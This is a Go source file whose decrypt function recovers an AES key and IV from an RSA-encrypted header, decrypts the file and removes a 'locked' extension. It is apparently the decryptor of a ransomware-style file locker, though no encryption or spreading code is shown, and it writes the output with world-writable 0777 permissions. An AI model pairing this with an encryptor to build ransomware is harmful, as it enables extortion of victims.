decrypt.go

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "crypto/rsa"
    "io/ioutil"

    "crypto/sha256"

    "strings"
)

func decrypt(file string, priv *rsa.PrivateKey) {
    data, err := ioutil.ReadFile(file)

    if err != nil {
        panic(err)
    }

    header := data[:EncryptedHeaderSize]
    label := []byte("")

    header, err = rsa.DecryptOAEP(sha256.New(), rand.Reader, priv, header, label)

    if err != nil {
        panic(err)
    }

    key := header[:KeySize]
    iv := header[KeySize : KeySize+aes.BlockSize]

    data = data[EncryptedHeaderSize:]

    block, err := aes.NewCipher(key)

    if err != nil {
        panic(err)
    }

    cipher := cipher.NewCFBDecrypter(block, iv)
    cipher.XORKeyStream(data, data)

    if strings.HasSuffix(file, LockedExtension) {
        file = file[:len(file)-len(LockedExtension)]
    }

    ioutil.WriteFile(file, data, 0777) // TODO
}